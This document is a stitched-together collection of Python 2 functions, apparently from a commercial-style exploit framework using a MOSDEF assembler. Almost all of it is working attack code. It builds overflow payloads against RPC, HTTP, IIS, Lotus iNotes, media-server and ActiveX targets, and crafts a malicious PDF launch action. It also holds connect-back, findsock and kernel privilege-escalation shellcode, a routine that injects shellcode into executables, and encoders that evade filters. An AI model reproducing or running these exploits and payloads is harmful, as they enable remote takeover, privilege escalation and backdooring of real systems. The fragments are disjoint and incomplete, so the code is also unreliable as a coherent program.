def exploitIT(self): import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((self.host, self.port)) except: self.log("Could not connect...") return 0 for a in hexdump(self.shellcode): print a if self.version == 0: self.test() if self.version == 0: self.log( "Version not found, trying with the generic target Windows 2000 SP4" ) self.version = 3 self.INFO, self.ADDY = targets[self.version] print "Exploiting %d " % self.version from MOSDEF import mosdef print hex(len(self.shellcode)) welcome = s.recv(500) # + '}'* (0x50) s.send('02 LIST "' + "A" * (0x303 - len(self.shellcode)) + self.shellcode + "AA" + mosdef.assemble("jmp 4", "X86") + struct.pack("L", self.ADDY) + mosdef.assemble("jmp $-0x310", "X86") + "A" * 0x400 + '}' + "\r\n") #buf = s.recv(5) return 1
def buildDcePacket(self): self.description, self.eip = targets[self.version] buffer = '' buffer += mosdef.assemble("""push $0x34 pop %ecx movb $0x02,%ch addl %ecx,%eax jmp %eax """, 'x86') #0x210+0x24=0x234 buffer += 'C' * (0x1c - len(buffer)) buffer += mosdef.assemble('movl 0x34(%esp),%eax', 'x86') buffer += '\xeb\xde' #jmp back buffer += 'D' * (0x24 - len(buffer)) buffer += self.shellcode data = '' data += '\\\0' * 0x102 data += struct.pack('<L', 0x00010ff0) #var_4 data += 'BBBB' #ebp data += struct.pack('<L', self.eip) #eip #jmp esp data += buffer data += 'E' * (0x258 - len(buffer)) #0x258-0x24=0x234 data += '!\0' packet = '' packet += intel_order(8) packet += intel_order(1) packet += s_dce_raw_unistring(data) packet += intel_order(1) packet += intel_order(0) packet += intel_order(0) return packet
def setLaunchAction(self, input, page): action = DictionaryObject() action[NameObject("/Type")] = NameObject("/Action") action[NameObject("/S")] = NameObject("/Launch") action[NameObject("/NewWindow")] = BooleanObject(True) action[NameObject("/F")] = DictionaryObject() pointer_to_next = "AAAA" SE_Handler = struct.pack('<L', targets[self.version][2]) SE_Offset = targets[self.version][1] if len(self.searchcode) > SE_Offset: print "Search shellcode too big :( adjusting to int3" % len( self.searchcode) self.searchcode = '\xcc' * 1200 action["/F"][NameObject("/F")] = createStringObject("/C/" +\ self.searchcode +\ 'A' * (SE_Offset - len(self.searchcode))+\ 'AA' + mosdef.assemble('jmp $8', 'X86') +\ SE_Handler +\ 'P' * 4 +\ # around 850 bytes room till end of stack mosdef.assemble('jmp $-%d'%(5+12+SE_Offset), 'X86') ) page[NameObject("/Annots")] = ArrayObject((DictionaryObject(), )) page["/Annots"][0][NameObject("/Type")] = NameObject("/Annot") page["/Annots"][0][NameObject("/Subtype")] = NameObject("/Screen") page["/Annots"][0][NameObject("/Rect")] = ArrayObject( (NumberObject(0), NumberObject(0), NumberObject(800), NumberObject(800))) page["/Annots"][0][NameObject("/AA")] = DictionaryObject() page["/Annots"][0]["/AA"][NameObject("/PV")] = action
def createFindsockShellcode(self): part1="""xorl %eax,%eax movb $0x8,%ah subl %eax,%esp cld xorl %edi,%edi movl %fs:0x30(%edi),%eax movl 0xc(%eax),%eax movl 0x1c(%eax),%ebx searchWS2_32: movl (%ebx),%ebx movl 0x20(%ebx),%esi lodsl lodsl decl %esi addl (%esi),%eax cmpw $0x3332,%ax jne searchWS2_32 shr $0x10,%eax decl %eax cmpw $0x325e,%ax jne searchWS2_32 movl 0x8(%ebx),%ebp movl 0x3c(%ebp),%eax """ part1=mosdef.assemble(part1,'x86') print '%02x'%(len(part1)) part2="""movl 0x78(%ebp,%eax,1),%ecx movl 0x1c(%ebp,%ecx,1),%ecx movl 0x3c(%ecx,%ebp,1),%ebx addl %ebp,%ebx addl 0x24(%ecx,%ebp,1),%ebp pushl %edi searchSocket: incw %di movl %esp,%esi pushl %esi pushl $0x4004667f pushl %edi call *%ebp lodsl test %eax,%eax je searchSocket cltd pushl %edx movb $0xc,%dh pushl %edx pushl %esi pushl %edi call *%ebx lodsl cmpl $0x2a2a2a2a,%eax jne searchSocket jmp *%esi""" part2=mosdef.assemble(part2,'x86') print '%02x'%(len(part2)) #sys.exit(0) return (part1,part2)
def buildDcePacket(self): self.info,self.eip=targets[self.version] data='' packet='' data+='\\\0\\\0' if self.version==1: #Windows 2000 SP4, XP SP1a bufferXP='A'*(0xf048-0xef20) bufferXP+=struct.pack('<L',self.eip[1]) #eip XP bufferXP+='C'*8 data+=bufferXP buffer2K=self.shellcode buffer2K+='D'*(0xf1d0-0xeccc-len(self.shellcode)-len(bufferXP)) buffer2K+=struct.pack('<L',self.eip[0]) #eip 2000 buffer2K+='F'*8 buffer2K+=mosdef.assemble('jmp $-%d'%(len(buffer2K)+5),'x86') #jmp back data+=buffer2K if (len(data)%2)==1: data+='G' data+='\\\0H\0' packet+=intel_order(1) packet+=s_dce_win2k_unistring('F') packet+=s_dce_raw_unistring(data) packet+=intel_order(0) elif self.version>=2: #XP SP2 with DEP from shellcode import shellcodeGenerator sc=shellcodeGenerator.win32() sc.addAttr('SmallSearchCode',{'tag':0x6b303063}) #'c00k' sc.standalone=1 searchcode=self.wc_encodeshellcode(sc.get()) bufferXP=searchcode bufferXP+='A'*(0xf000-0xeeec-len(bufferXP)) bufferXP+=mosdef.assemble('jmp $-%d'%(len(bufferXP)+5),'x86') #jmp back bufferXP+='B'*(0xf014-0xeeec-len(bufferXP)) bufferXP+=struct.pack('<L',self.eip[0]) bufferXP+='C'*8 bufferXP+=struct.pack('<L',self.eip[1]) bufferXP+=struct.pack('<L',self.eip[3]) bufferXP+='D'*16 bufferXP+=struct.pack('<L',self.eip[2]) bufferXP+='E'*4 bufferXP+='\xeb\xd6' #esi is restored from here, jmp back data+=bufferXP data+='\\\x00F\x00' if (len(self.shellcode)%2)==1: self.shellcode+='G' packet+=intel_order(1) packet+=s_dce_raw_unistring('c00k'+self.shellcode) packet+=s_dce_raw_unistring(data) packet+=intel_order(0) return packet
def create_new_section_content(self): if self.win64: jmp_offset = self.new_section.VirtualAddress + JMP_INSTR_LEN + 8 - self.original_entry_point jmp_to_original_entry_point = mosdef.assemble( "jmp $0x%16.16x\n" % uint64(-jmp_offset), self.ARCH) p = payloads64.payloads() padding = 8 # rax, rbx, rcx, rdx, rsi, rdi, rsp, rbp, r8, r9, r10, r11, r12, r13, r14, r15 heading = """ push %rax push %rbx push %rcx push %rdx push %rsi push %rdi push %rbp push %r8 push %r9 push %r10 push %r11 push %r12 push %r13 push %r14 """ heading += """ jmp findyou retpcloc: mov (%rsp),%r15 ret findyou: call retpcloc and $0xffffffffffffff00,%r15 mov %rsp,(%r15) """ else: jmp_offset = self.new_section.VirtualAddress + JMP_INSTR_LEN - self.original_entry_point jmp_to_original_entry_point = mosdef.assemble( "jmp $0x%8.8x\n" % uint32(-jmp_offset), self.ARCH) padding = 0 p = payloads.payloads() heading = '' new_section_data = '\x90' * padding new_section_data += jmp_to_original_entry_point if heading: new_section_data += p.assemble(heading) new_section_data += self.shellcode new_section_data += '\x90' * (self.new_section.SizeOfRawData - len(new_section_data)) return new_section_data
def buildCodeThingies(self): lc = self.lc lc_off = self.lc_off call_esp = self.call_esp distance_to_ret = self.distance_to_ret varz5 = 'AAAA' + lc + 'BBBB' + 'CCCC' varz4 = lc + 'DDDD' + 'EEEE' + 'FFFF' varz3 = lc + lc + 'GGGG' + self.dodgy varz2 = 'IIII' + 'JJJJ' + 'KKKK' + 'LLLL' varz1 = 'MMMM' + 'NNNN' + lc_off + 'OOOO' varz0 = '{{{{' + 'PPPP' + 'QQQQ' self.varsled = varz5 + varz4 + varz3 + varz2 + varz1 + varz0 + 'RRRR' + call_esp self.varsled += mosdef.assemble('jmp $-%d' % (100 + distance_to_ret), 'x86') stackfix = """ subl $0xABCD,%esp movl %esp,%ebp """ self.shellcode = mosdef.assemble(stackfix, "X86") self.sc = shellcodeGenerator.linux_X86() self.sc.addAttr( 'mmap_callback', { 'host': self.callback.ip, 'port': self.callback.port, 'do_setuid': False, 'do_exit': False }) self.sc = self.sc.get() self.log("checking for encoder") if '\r' in self.sc or '\n' in self.sc: self.log("Needs to be encoded..") encoder = xorencoder.simpleXOR() encoder.setbadstring("\x0a") ret = encoder.find_key(self.sc) if ret == 0: self.log("could not make shellcode, xor failure") raise Exception, "No shellcode possible with xor. customize it?" self.sc = encoder.encode(self.sc) if self.sc == "": raise Exception, "no shellcode generated?" else: self.log("no encoder needed") self.shellcode += self.sc return self.shellcode
def handle_jump(self, args): """From time to time you may want to jump fowards or backwards without knowing any registers, and with a tight badstring.""" if args == None: print "Error - no args passed to jump!" return "" #an integer that can be negative jmpvalue = args["jmpvalue"] badstring = args["badstring"] #first try to make a normal jmp code = "jmp $0x%8.8x\n" % uint32(jmpvalue) #print "Assembling: %s"%code bin = mosdef.assemble(code, "X86") worked = 1 for c in badstring: if c in bin: worked = 0 if worked: self.value += bin return bin #now try non-trivial case where we do other stuff to get a long in there start = self.load_long("%eax", jmpvalue, badstring) #print "Start = %s"%prettyprint(start) if start == "": self.value += "" return "" code = """ jmp forward back: pop %ebx addl %ebx, %eax jmp *%eax forward: call back """ bin = mosdef.assemble(code, "X86") bin = start + bin #print prettyprint(bin) worked = 1 for c in badstring: if c in bin: worked = 0 if worked: self.value += bin return bin #print "Failed" self.value += "" return ""
def espsearch(tag1, tag2, direction="forwards"): code = """ mov %esp, %esi mov $TAG1,%ecx mov $TAG2,%edx memcmp: //does not fault unless failure! mov (%esi),%eax cmp %eax,%ecx jne myaddaddr mov 4(%esi),%eax cmp %eax,%edx jne myaddaddr jmp foundtags myaddaddr: inc %esi //forwards jmp memcmp foundtags: lea 8(%esi),%eax jmp %eax """ code = code.replace("TAG1", tag1).replace("TAG2", tag2) ret = mosdef.assemble(code, "X86") return ret
def createShellcode(self): from shellcode import shellcodeGenerator badstring = "\x00" sc = shellcodeGenerator.solarisSparc() sc.addAttr("connect",{"ipaddress": self.callback.ip, "port": self.callback.port}) sc.addAttr("RecvExec",None) from MOSDEF import mosdef # note: because we're hosing the su proc (ret2strcpy, fake frame, ret2rwx) we need to set the fp # to make sense again fixstub = """ and %sp,-8,%sp add %sp,96,%fp ! setuid 0 mov %g0,%o0 mov 23,%g1 ta 8 """ rawshellcode = mosdef.assemble(fixstub, "SPARC") + sc.get() from encoder import addencoder encoder = addencoder.sparcaddencoder() #these are the characters not allowed by the exploit encoder.setbadstring(badstring) shellcode = encoder.encode(rawshellcode) if shellcode == "": self.log("Could not encode shellcode") return 0 self.shellcode = shellcode return self.shellcode
def makesploit(self): """ Construct the attack """ #testshellcode=self.createTestShellcode(start=0xd5,end=0x100) geteip = self.versions[self.version][1] #offset=self.versions[self.version][2] body = self.shellcode #body="Q"*5000 attackstring = "A" * 2000 jmp = mosdef.assemble("jmp $28", "X86") attackstring = stroverwrite(attackstring, intel_order(geteip), 72) jmpoffset = 76 attackstring = stroverwrite(attackstring, jmp, jmpoffset) #our destination is our shellcode.. self.log("Length of encoded search code is %d" % len(self.encodedsearchcode)) if len(self.encodedsearchcode) > 185: self.log("Shellcode is too long - attack would fail!") return "" attackstring = stroverwrite(attackstring, self.encodedsearchcode, jmpoffset + 2 + 28) #attackstring=stroverwrite(attackstring, testshellcode, jmpoffset+2+28) sploitstring = "GET / HTTP/1.0\r\n" sploitstring += "Host: localhost\r\n" sploitstring += "If-Modified-Since: %s, %s\r\n" % (randomstring(4), attackstring) sploitstring += "Content-Length: %d\r\n" % len(body) sploitstring += "\r\n" sploitstring += body return sploitstring
def whileone(self, args): code = """ jmp $-2 """ bin = mosdef.assemble(code, "X86") self.value += bin return bin
def createShellcode(self): sc=shellcodeGenerator.win32() sc.addAttr('findeipnoesp',{'subespval':0}) sc.addAttr('revert_to_self_before_importing_ws2_32',None) sc.addAttr('tcpconnect',{'port': self.callback.port,'ipaddress':self.callback.ip}) sc.addAttr('CreateThreadRecvExecWin32',{'socketreg':'FDSPOT'}) #MOSDEF sc.addAttr('ExitThread', None) rawshellcode=sc.get() encoder=xorencoder.simpleXOR() encoder.setbadstring(self.badstring) ret=encoder.find_key(rawshellcode) if ret==0: self.log('Could not find a key for this shellcode!') raise Exception,'No shellcode generated' self.shellcode=encoder.encode(rawshellcode) if self.shellcode=='': raise Exception,'No shellcode generated' self.log('Xor key used: %x'%(encoder.getkey())) self.log('Length of shellcode=%s'%(len(self.shellcode))) subesp="""xorl %eax,%eax movb $0x8,%ah subl %eax,%esp """ self.shellcode=mosdef.assemble(subesp,'x86')+self.shellcode return self.shellcode
def chroot(self, args): """ Lame break chroot shell TODO: - Need optimization (probably change the whole shellcode, cause i suck) """ code = """ xorl %eax,%eax pushl %eax pushl $0x2e2e6262 movl %esp,%ebx incl %ebx xorl %ecx,%ecx movb $0x27,%al int $0x80 xorl %eax,%eax movb $0x3d,%al int $0x80 incl %ebx movb $0xff,%cl aqui: xorl %eax, %eax movb $0x0c,%al int $0x80 loop aqui incl %ebx movb $0x3d,%al int $0x80 """ bin = mosdef.assemble(code, "X86") self.value += bin
def exploit_it(self): """ Create our exploit buffer new exploit logic uses stroverwrite() """ desc, geteip, eipoffset = targets[self.version] self.log("Creating attack buffer for : %s" % desc) #self.log("Encoded Search Code: %s"%prettyhexprint(self.encodedsearchcode)) self.log("Shellcode : %s" % prettyhexprint(self.shellcode)) evl = "A" * 1050 shelloffset = 10 evl = stroverwrite( evl, self.encodedsearchcode, shelloffset) # place our search code into our buffer evl = stroverwrite(evl, intel_order(geteip), eipoffset) # place pop pop ret into buffer evl = stroverwrite(evl, binstring("eb 06"), eipoffset - 4) # short jump over our eip jmpoffset = eipoffset + 5 - shelloffset + 4 # 5 is for size of jump instruction, +4 is because we are at eipoffset+4, not eipoffset. self.log("Jump offset: %d" % jmpoffset) evl = stroverwrite(evl, mosdef.assemble("jmp $-%d" % (jmpoffset), "X86"), eipoffset + 4) # far jmp to start of payload evl = stroverwrite(evl, self.shellcode, eipoffset + 20) # real shellcode to execute. #2 is our opcode packet = intel_order(2) + big_order(len(evl)) + evl self.log("SIZE : %s" % len(packet)) return packet
def get_kernel_payload_x86(self): """ Code equivalent to this: commit_creds(prepare_kernel_cred(0)); return 0; """ # Resolve needed symbols commit_creds = self.get_kernel_sym("commit_creds") prepare_kernel_cred = self.get_kernel_sym("prepare_kernel_cred") if not commit_creds or not prepare_kernel_cred: self.log("[-] Could not get required kernel symbols, aborting.") return None self.log("[+] Preparing commit_creds payload") cred_code = \ """ xorl %%eax,%%eax movl $0x%x,%%edi call *%%edi movl $0x%x,%%edi call *%%edi xorl %%eax,%%eax ret """ % (prepare_kernel_cred, commit_creds) return mosdef.assemble(cred_code, "X86")
def encode(self, data): mod = 4 - len(data) % 4 if mod != 4: data = data + "\x00" * mod (split1, split2, newdata) = self.findadditives(data) if split1 == None: print "Error: Did not find split for your shellcode!" return "" split1 = struct.pack("<L", split1) split2 = struct.pack("<L", split2) #print "Assembling decoder stub" decoderstub = "" line = 0 decoderstub = mosdef.assemble(self.decoder, "X86") if self.has_bad_char(decoderstub): print "Bad char in decoder stub!" print "Decoder: \n%s" % prettyhexprint(decoderstub) i = self.find_bad_char(decoderstub) print "Index: %s" % i print "Stub Bad Char: %s" % prettyhexprint(decoderstub[i:i + 2]) raise Exception, "bad chars in decoder stub!" header = decoderstub tag = "\x3a\x3a" #tag the decoder searches for to ensure alignment if len(header) % 2 == 1: header += 'A' #padlen=4-len(header)%4 #if padlen==4: # padlen=0 #padding="\x41"*padlen #result=header+padding+tag+split1+split2+newdata result = header + tag + split1 + split2 + newdata return result
def makefile(self): self.info, self.eip = targets[self.clientversion] jmpback = mosdef.assemble('jmp $-%d' % (0x1000 + 5), 'x86') if (len(jmpback) % 2) != 0: jmpback += 'A' filedata = """ <html> <body> <object style="visibility:hidden" id="MSAgent" classid="CLSID:D45FD31B-5C6E-11D1-9EC1-00C04FD7081F"></object> <script language="JavaScript"> MSAgent.Connected = true; NewAgent = "http://AA/"; Data = "" Data += unescape("SHELLCODE"); while ((Data.length % 3) != 0) Data += unescape("%u9090"); NewAgent += Data; for (i = 0; i < (680 - (Data.length / 3)); i++) NewAgent += " "; NewAgent += unescape("EIP"); NewAgent += "CCCCCC"; NewAgent += unescape("JMPBACK") NewAgent += ".acf"; MSAgent.Characters.Load("DD", NewAgent); Agent = MSAgent.Characters.Character(AgentID); </script> </body> </html> """.replace('SHELLCODE', urluencode(self.shellcode)) filedata = filedata.replace('EIP', urluencode(struct.pack('<L', self.eip))) filedata = filedata.replace('JMPBACK', urluencode(jmpback)) #print filedata return filedata
def makesploit(self): """ Construct the attack """ geteip = self.versions[self.version][1] shellcode = self.createShellcode() self.log("Shellcode length: %d" % len(shellcode)) self.log("Shellcode: %s" % shellcode.encode("HEX")) diff = 949 - len(shellcode) sploitstring = "GET " sploitstring += "\x90" * diff sploitstring += shellcode sploitstring += "\x90" sploitstring += "\xeb\x06\x90\x90" sploitstring += struct.pack("<L", geteip) sploitstring += "\x90" * 12 sploitstring += "\x90\x90\x90\x90" sploitstring += "\x90" * 4 sploitstring += mosdef.assemble('jmp $-%d' % (len(sploitstring)), 'x86') sploitstring += "A" * 2000 sploitstring = sploitstring[0:2207] sploitstring += "\n\n" self.log("Sploitstring len: %d" % len(sploitstring)) return sploitstring
def setDialog(self, dialog, xpacket, badchars, arch): self.arch = arch asmcode = dialog.get_widget('asmcode') asmbuffer = gtk.TextBuffer() asmbuffer.set_text(self.asmcode) asmcode.set_buffer(asmbuffer) hboxprepareplat = dialog.get_widget("hbox1") prepareplat = gtk.combo_box_new_text() hboxprepareplat.pack_start(prepareplat, expand=True, padding=0) prepareplat.show() #prepareplat.append_text('Change Arch?') #for a in self.platlist: # prepareplat.append_text(a) #try: # prepareplat.set_active(self.platlist.index(self.boxargs['plataform'])+1) #except: # prepareplat.set_active(0) try: self.objsize = len( mosdef.assemble(self.asmcode, self.getMOSDEFPlatform())) except: print "Mosdef failed: Couldn't assemble code" prepareplat.connect('changed', self.changeplat)
def createShellcode(self): localhost = self.callback.ip localport = self.callback.port sc = shellcodeGenerator.win32() sc.addAttr('SearchCodeSafeSEH', {'tag': 0x46494a45}) #'c00k' sc.standalone = 1 self.searchcode = sc.get() open("searchcode.s", "w").write(sc.code) #sc = shellcodeGenerator.win32() #sc.addAttr("OrigamiInjectSmall", { "ipaddress": localhost, "port": localport, "processname": "CdfSvc.exe"}) #sc.addAttr("ExitThread", None) #self.callback.argsDict["fromcreatethread"] = 1 self.shellcode = sc.get() open("shellcode.s", "w").write(sc.code) import shellcode.clean.windows.payloads as payloads p = payloads.payloads() sc = p.forkload(localhost, localport, restorehash=True, load_winsock=True, processname="dmremote") self.shellcode = p.assemble(sc) #self.createWin32Shellcode(self.badstring,localhost,localport) #self.createHeapSafeInjectIntoProcess(self.badstring, localhost, localport, smallcode=1, processname="CdfSvc.exe", backupprocess="cdfsvc.exe") # Fixup Code: code = "movl $0x%08x, %%eax\nmov %%eax, (0x%08x) " % ( (self.PTR + 0x2C), (self.PTR + 0x2C)) fixup_code = mosdef.assemble(code, "X86") self.shellcode = struct.pack( "<L", 0x46494a45) * 2 + fixup_code + self.shellcode return self.shellcode
def buildDcePacket(self): self.info,self.offset,self.eip=targets[self.version] self.log('Generating attack string for version: %s'%(self.info)) if len(self.shellcode)>self.offset: self.log('Shellcode of len %d is too big for size %d'%(len(self.shellcode),self.offset)) raise Exception,'Shellcode too big!' packet='' data='' data+=self.shellcode data+='A'*(self.offset-len(data)) data+=struct.pack('<L',self.eip) data+='B'*0xc data+=mosdef.assemble('jmp $-%d'%(len(data)+5),'x86') if (len(data)%2)==1: data+='C' packet+=intel_order(0) packet+=intel_order(1) packet+=s_dce_raw_unistring(data) packet+=intel_order(0) packet+=s_dce_win2k_unistring('') packet+=intel_order(0) packet+=intel_order(1) packet+=intel_order(2) packet+=intel_order(0) return packet
def create_shellcode(self): token_address = self.node.shell.get_process_token_ring0_address() self.log("Process Ring0 Token Address: 0x%08x" % token_address) # offset to SePrivileges token_address = token_address + 0x48 if self.x64: asm = """ push %r10 movq $0xTOKENADDRESS, %r10 movl $0xFFFFFFFF,(%r10) pop %r10 ret """ else: asm = """ push %ebx movl $0xTOKENADDRESS, %ebx mov $0xFFFFFFFF, (%ebx) pop %ebx ret $0x8 """ asm = asm.replace("TOKENADDRESS", "%08x" % token_address) if self.x64: arch = 'x64' else: arch = 'x86' shellcode = mosdef.assemble(asm,arch) return shellcode
def buildDcePacket(self): self.description, self.offset, self.eip = targets[self.version] #build overflowing string data = '' data += 'A' * (0x1ca - len(data)) data += struct.pack('<L', self.eip[0]) data += 'B' * 4 if self.version >= 3: #Windows XP SP2 data += struct.pack('<L', self.eip[1]) data += struct.pack('<L', self.eip[3]) data += 'C' * 16 data += struct.pack('<L', self.eip[2]) data += 'D' * 4 data += '\xeb\x1aEE' #esi is restored from here from MOSDEF import mosdef data += mosdef.assemble('addl $0x%x,%%esp\nret' % (self.offset), 'x86') #align data if (len(data) % 2) != 0: data += 'F' if (len(self.shellcode) % 2) != 0: self.shellcode += 'F' #build packet packet = '' packet += struct.pack('<L', 1) #[unique] packet += s_dce_raw_unistring(data) # pName packet += struct.pack('<L', 2) #[unique] packet += s_dce_raw_unistring(self.shellcode) # pEnvironment packet += struct.pack('<L', 1) #Level packet += struct.pack('<L', 3) #[unique] packet += struct.pack('<LL', 4, 1) # pDriverInfo packet += struct.pack('<L', 4) #cbBuf #return packet return packet
def run_attack(self,node): self.node=node #XXX: not needed? ret,nodeos=node.shell.GetVersionEx() minor=nodeos['Minor Version'] major=nodeos['Major Version'] self.log('Attacking Windows %d.%d'%(major,minor)) if major<5: self.log('This exploit is only for Windows XP, Windows Vista and Windows Server 2008.') return 0 pid=node.shell.getpid() #the ProcessId we want to elevate to System self.CreateRing0Shellcode(pid,4,major,minor) fixcode=""" xorl %eax,%eax movl $0x000004c2,0x800(%eax) //replace the beginning with ret $0x4 """ self.shellcode=mosdef.assemble(fixcode,'x86')+self.shellcode # Upload and execute the exploit with the shellcode as a commandline # argument. self.remote_filename=self.node.shell.getcwd()+'\\tempfile.exe' ret=self.node.shell.upload(self.upload_filename,destfilename=self.remote_filename) if ret: arguments=base64.b64encode(self.shellcode) ret=self.node.shell.dospawn('"%s" %s'%(self.remote_filename,arguments)) self.log("DoSpawn Returned %s"%ret) time.sleep(3) self.log("Removing uploaded file") self.node.shell.unlink(self.remote_filename) whoami=self.exploitnodes("whoami",[node])[0] self.log("Currently running as: %s"%whoami) if whoami[-1] == "$": self.log('Exploit succeeded!') self.setSucceeded() self.result = 1 return 1 self.log('Exploit seem to have failed.') return 0
def makesploit(self): sploitstring = "" language = "A" * 148 """ This stager prevents a few problems: 1. Tolower on our shellcode, plus no nulls, or \r\n 2. Change ESP - we don't have enough room on the stack for an encoder Pull pointer off of ESP and jump to there. What we really wanted to jump to is (esp+0x4cc)-0x494 """ stager = """addl $0x6cc33333,%esp subl $0x6cc32e67, %esp movl (%esp), %esp subl $0x6cc33333,%esp addl $0x6cc32e9f,%esp jmp %esp""" stager = mosdef.assemble(stager, 'x86') """ rw_addr - R/W address and needs to have room (+0x1c0) for writing func_ptr - valid pointer, and needs +0x20 to be a valid pointer as well Both addresses live in j9bcv23.dll's .data """ calc_val = 0xffffffff rw_addr = 0x7f94f194 #j9bcv23.7f94f194 calc_val2 = 0x01010101 jmp_esp = 0x63228437 func_ptr = 0x7f94f0fc #j9bcv23.7f94f0fc calc_offset = 56 rw_offset = 68 calc_offset2 = 80 rw_offset2 = 104 jmp_esp_offset = 112 language = stroverwrite(language, intel_order(calc_val), calc_offset) language = stroverwrite(language, intel_order(rw_addr), rw_offset) language = stroverwrite(language, intel_order(calc_val2), calc_offset2) language = stroverwrite(language, intel_order(func_ptr), rw_offset2) language = stroverwrite(language, intel_order(jmp_esp), jmp_esp_offset) language = stroverwrite(language, intel_order(rw_addr), jmp_esp_offset + 4) language += stager language += "\x90" * (1000 - len(self.shellcode)) language += self.shellcode sploitstring = "GET /iNotes/Forms6.nsf/?%ff HTTP/1.0\r\n" sploitstring += "Host:%s\r\n" % self.target.interface sploitstring += "Accept-Language: %s\r\n" % language sploitstring += "Connection: Close\r\n" sploitstring += "Cache-Control: no-cache\r\n\r\n" self.log(sploitstring) return sploitstring
def buildDcePacket(self): description, addy = targets[self.version] self.log("Attacking version: %s" % description) # The index function is #72 # and it need a number < than 0xb tu survive to the overflow data = struct.pack("L", 0x3) data += struct.pack("<L", 72) jmp = mosdef.assemble("jmp $0x6", "X86") + "TT" combination = jmp combination += struct.pack("<L", addy) # Since there is a difference in the stack layout from win2000 and # Windows XP, we try both layout at the same time. # Also, sometimes from XP and XP changes a bit, but # we brute force it. Keep in mind we are overwriting the SEH # This is how it looks like # # [ jump +0x6] [ ADDY ] # [ jump +0x6] [ ADDY ] # [ jump +0x6] [ ADDY ] # [ jump +0x6] [ ADDY ] # [ NOPS... ] # [ Shellcode] # [ jump +0x6] [ ADDY] # [ jmp -$0x3f0] # [ B... until we get a crash in memcpy ] data += "AAAA" data += combination * 0x20 data += "A" * (0x450 - len(self.shellcode) - (0x20 * 8) - 4) data += self.shellcode data += jmp data += struct.pack("<L", addy) data += mosdef.assemble("jmp $-%d " % (len(self.shellcode) + 0x10), "X86") + "TTT" #data+= mosdef.assemble("jmp $-0x3f0 ", "X86") + "TTT" data += "B" * (0xa08 - 0x454 - 4) buf = struct.pack("<L", 0x12ef4c) buf += struct.pack("<L", len(data)) buf += data buf += struct.pack("<L", len(data)) return buf
def socket(self, args): """ socket() - changes self.value to create a socket in %eax """ socketcode = self.createsocket(args) self.code += socketcode bin = mosdef.assemble(socketcode, "X86") self.value += bin return bin
def run(self): self.getargs() self.setInfo('%s attacking %s:%d - (in progress)' % (NAME, self.host, self.port)) self.log('%s attacking %s:%d - (in progress)' % (NAME, self.host, self.port)) if self.version == 0: self.test() if self.version == 0: self.log('Autoversioning not available') return 0 self.info, self.eip = targets[self.version] encodedpayload = 'A' * 232 payload = '' payload += '\xeb\x08' #jmp forward payload += 'BB' payload += struct.pack('<L', self.eip) #SEH payload += 'CC' #overwritten from MOSDEF import mosdef payload += mosdef.assemble(""" xorl %eax,%eax .byte 0xb0 .byte 0x94 //movb $0x94,%al addl %eax,%ebx movl (%ebx),%ebx call *0x78(%ebx) """, 'x86') #calls body if (len(payload) % 2) == 1: payload += 'D' for i in range(0, len(payload), 2): encodedpayload += '%%u%02x%02x' % (ord( payload[i + 1]), ord(payload[i])) body = self.shellcode request = '' request += 'GET /NULL.ida?%s= HTTP/1.1\r\n' % (encodedpayload) request += 'Host: %s:%d\r\n' % (self.host, self.port) request += 'Content-Length: %d\r\n' % (len(body)) request += '\r\n' request += body s = self.gettcpsock() try: s.connect((self.host, self.port)) except: self.log('Could not connect to port %s:%s' % (self.host, self.port)) return 0 self.log('Connected to target') self.websend(s, request) time.sleep(3) if self.ISucceeded(): return 1 s.close() return 0
def buildKillPacket(self): payload = '' search = "\x8B\x01\x83\xE8\x02\x50\xC3" # 260 bytes for tag hit (this holds searchcode) payload += "\x90" * (68 - len(search)) + search # make ebx point to jmp $4 which jumps back to the full 260 bytes payload += "\x90\x90" + mosdef.assemble("jmp $4", "X86") # retadd (call ebx) description, retadd = targets[self.version] self.log("Target: %s (0x%08X)" % (description, retadd)) payload += struct.pack("<L", retadd) payload += "\x90" * 0x14 #payload+="\x33\xc0\xb0\x01\xc1\xe0\x10\x2b\xe0" # jmp back for the searchcode payload += mosdef.assemble('jmp $-98', 'x86') # some BS code that to fill excess bytes and prevent our searchtags # from showing up twice, this isn't actually called DISAS2 = """ 804953a: b8 00 33 40 01 mov $0x1403300,%eax 804953f: 40 inc %eax 8049540: 81 38 40 48 40 48 cmpl $0x48404840,(%eax) 8049546: 75 f7 jne 804953f <str2+0x5> 8049548: 50 push %eax 8049549: c3 ret """ payload += "\xb8\x00\x33\x40\x01\x40\x81\x38\x40\x48\x40\x48\x75\xf7\x50\xc3" # the search tags used in the searchcode payload += "\x53\x77\x61\x6E" + "\x90\x90\x90\x90" # main payload (doesn't end up in same as messed up thread) payload += self.shellcode payload += "\x90" * 192 #payload = 'A' * 0x90 pkt = self.packetFragGen(WMS_FUNNL_START, len(payload)) pkt += payload pkt += self.packetFragGen(WMS_FUNNL_END) self.log("pkt len: %d" % len(pkt)) return pkt